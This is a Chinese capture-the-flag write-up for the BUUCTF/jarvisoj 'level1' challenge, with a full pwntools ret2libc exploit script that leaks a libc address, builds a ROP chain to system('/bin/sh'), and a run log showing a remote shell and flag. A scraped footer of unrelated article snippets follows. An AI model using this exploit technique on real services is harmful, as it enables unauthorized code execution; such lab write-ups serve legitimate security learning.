从零开始做题:逆向 ret2libc jarvisoj level1

1.题目信息

BUUCTF在线评测

2.原理

篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。

3.解题步骤

3.1 首先使用checksec工具查看它开了啥保护措施

基本全关,栈可执行。

root@pwn_test1604:/ctf/work/9# checksec ./level1
[*] '/ctf/work/9/level1'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments
root@pwn_test1604:/ctf/work/9# 

3.2 使用ida查看一下该程序

在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后 将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。

ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有 个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。

参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通
                        
这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数

利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell

 

3.3 完整源码

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import sys
from LibcSearcher import *context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write'] 	
#write的got表里面有write函数的真实地址def exploit(p):elf = ELF("./level1")main_addr=0x80484b7write_plt=elf.plt['write'] 	#write的plt表可以调用write函数write_got=elf.got['write'] 	#write的got表里面有write函数的真实地址pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)   	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数p.send(pl)write_addr = u32(p.recv(4))	    #  因为write的第二个参数是write_got,所以它会输出write的gotlibc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址libc_base=write_addr-libc.dump('write')     #找到偏移system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)p.sendline(pl)p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)

只用修改的地方如下: 

LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232

elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write']     
#write的got表里面有write函数的真实地址

def exploit(p):

    elf = ELF("./level1")
    main_addr=0x80484b7
    write_plt=elf.plt['write']     #write的plt表可以调用write函数
    write_got=elf.got['write']     #write的got表里面有write函数的真实地址
    pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)       #  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
    p.send(pl)
    write_addr = u32(p.recv(4))        #  因为write的第二个参数是write_got,所以它会输出write的got
    libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
    libc_base=write_addr-libc.dump('write')     #找到偏移
    system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
    bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
    pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
    p.sendline(pl)
    p.interactive()
    return
 

 3.4 运行结果

root@pwn_test1604:/ctf/work/9# python level1-buuctf.py 1
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[*] '/ctf/work/9/level1'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[+] Opening connection to node5.buuoj.cn on port 29232: Done
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[DEBUG] Sent 0xa0 bytes:00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│*00000080  61 61 61 61  61 61 61 61  61 61 61 61  70 83 04 08  │aaaa│aaaa│aaaa│p···│00000090  b7 84 04 08  01 00 00 00  1c a0 04 08  04 00 00 00  │····│····│····│····│000000a0
[DEBUG] Received 0x4 bytes:00000000  c0 73 eb f7                                         │·s··││00000004
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x99 bytes:00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│*00000080  61 61 61 61  61 61 61 61  61 61 61 61  40 d9 e1 f7  │aaaa│aaaa│aaaa│@···│00000090  b7 84 04 08  2b c0 f3 f7  0a                        │····│+···│·│00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:'ls\n'
[DEBUG] Received 0x6d bytes:'bin\n''boot\n''dev\n''etc\n''flag\n''flag.txt\n''home\n''lib\n''lib32\n''lib64\n''media\n''mnt\n''opt\n''proc\n''pwn\n''root\n''run\n''sbin\n''srv\n''sys\n''tmp\n''usr\n''var\n'
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:'cat flag\n'
[DEBUG] Received 0x2b bytes:'flag{232ee13a-17ab-4e9f-8a29-3481de113920}\n'
flag{232ee13a-17ab-4e9f-8a29-3481de113920}
$  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/469928.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Excel练习:日历

Excel练习:日历 ‍ 题目:制作日历 ‍ ​​ 用rows和columns函数计算日期单元格偏移量 一个公式填充所有日期单元格 ​​ ‍

点云旋转处理

实现代码为&#xff1a; //以中心化点进行旋转double theta atan(maindirection.a);//计算的是弧度单位for (int i 0; i < origipts.size(); i){pcl::PointXYZ tempone;tempone.x aftercenerlizepts[i].x*cos(theta) aftercenerlizepts[i].y*sin(theta) center.x;temp…

PHP+vue+mysql校园学生社团管理系统574cc

运行环境:phpstudy/wamp/xammp等 开发语言&#xff1a;php 后端框架&#xff1a;Thinkphp 前端框架&#xff1a;vue.js 服务器&#xff1a;apache 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat/phpmyadmin 前台功能&#xff1a; 首页&#xff1a;展示社团信息和活动…

Dynamo设置明细表字段格式——保留小数位数

Hello大家好&#xff01;我是九哥~ 今天简单分享一个API的用法&#xff0c;就是设置明细表的中字段的字段格式。 本次呢&#xff0c;主要介绍下如何通过Dynamo设置长度、面积等几种字段的格式&#xff0c;设置小数位数的显示&#xff0c;如下图&#xff1a; 当然了&#xf…

步步深入 k8s 使用 pv pvc sc 在 nfs 基础上共享存储

博客原文 文章目录 前言集群环境nfs 环境搭建pod 挂载 nfs架构图 pvc 方式挂载 nfs架构图 storageclass 方式动态申请 pv架构图 参考 前言 持久化卷&#xff08;Persistent Volume, PV&#xff09;允许用户将外部存储映射到集群&#xff0c;而持久化卷申请&#xff08;Persist…

全面理解JVM虚拟机

为什么要学JVM&#xff1f; ​ 首先&#xff1a;面试需要。面试题层出不穷&#xff0c;难道每次面试都靠背几百上千条面试八股&#xff1f; ​ 其次&#xff1a;基础决定上层建筑。自己写的代码都不知道是怎么回事&#xff0c;怎么可能写出靠谱的系统&#xff1f; ​ 然后&a…

【Web】从零开始的js逆向学习笔记(上)

目录 一、逆向基础 1.1 语法基础 1.2 作用域 1.3 窗口对象属性 1.4 事件 二、浏览器控制台 2.1 Network Network-Headers Network-Header-General Network-Header-Response Headers Network-Header-Request Headers 2.2 Sources 2.3 Application 2.4 Console 三、…

降噪和音频修复 iZotope RX 7 Advanced

iZotope RX 7 Advanced 是一款功能强大的音频修复和增强软件&#xff0c;它能够帮助用户轻松应对各种音频问题&#xff0c;提供全面的工具和技术来优化和改善音频质量。 首先&#xff0c;iZotope RX 7 Advanced 具有出色的降噪功能。无论是背景噪音、杂音还是其他干扰因素&…

鲁南制药“健康幸福中国年”主题航班,开启探寻健康与幸福的旅程

“小年&#xff0c;小年&#xff0c;过了今天就是年。”提到过年&#xff0c;北方人的“过年”是从腊月二十三的“小年”开始的&#xff0c;而南方地区是在明天。虽然时间不同&#xff0c;但是浓浓的年味是一样的&#xff0c;红彤彤是主色调&#xff0c;喜洋洋是主乐曲&#xf…

【机器学习案例3】从科学论文图片中提取标题、作者和摘要【含源码】

在这个项目中,我的目标是从科学论文图片中提取某些部分(标题、作者和摘要)。预期提取部分是科学论文中常见的部分,例如标题、摘要和作者。输入与最终结果。我的输入是将第一页纸转换成图像。最终结果是一个 txt 文件,其中包含标题、作者和摘要部分,如下图1和图2所示。我将…

山西电力市场日前价格预测【2024-02-11】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2024-02-11&#xff09;山西电力市场全天平均日前电价为121.99元/MWh。其中&#xff0c;最高日前电价为475.98元/MWh&#xff0c;预计出现在19:00。最低日前电价为0.00元/MWh&#xff0c;预计出…

【开源】新生报到网站 JAVA+Vue.js+SpringBoot+MySQL

本文项目编号&#xff1a; T 002 。 \color{red}{本文项目编号&#xff1a;T002。} 本文项目编号&#xff1a;T002。 目录 1 功能模块1.1 在线交流模块1.2宿舍分配模块1.3 校园概况模块1.4 专业管理模块 2 系统展示3 核心代码3.1 图表展示3.2 查询评论3.3 新增报道 4 免责声明 …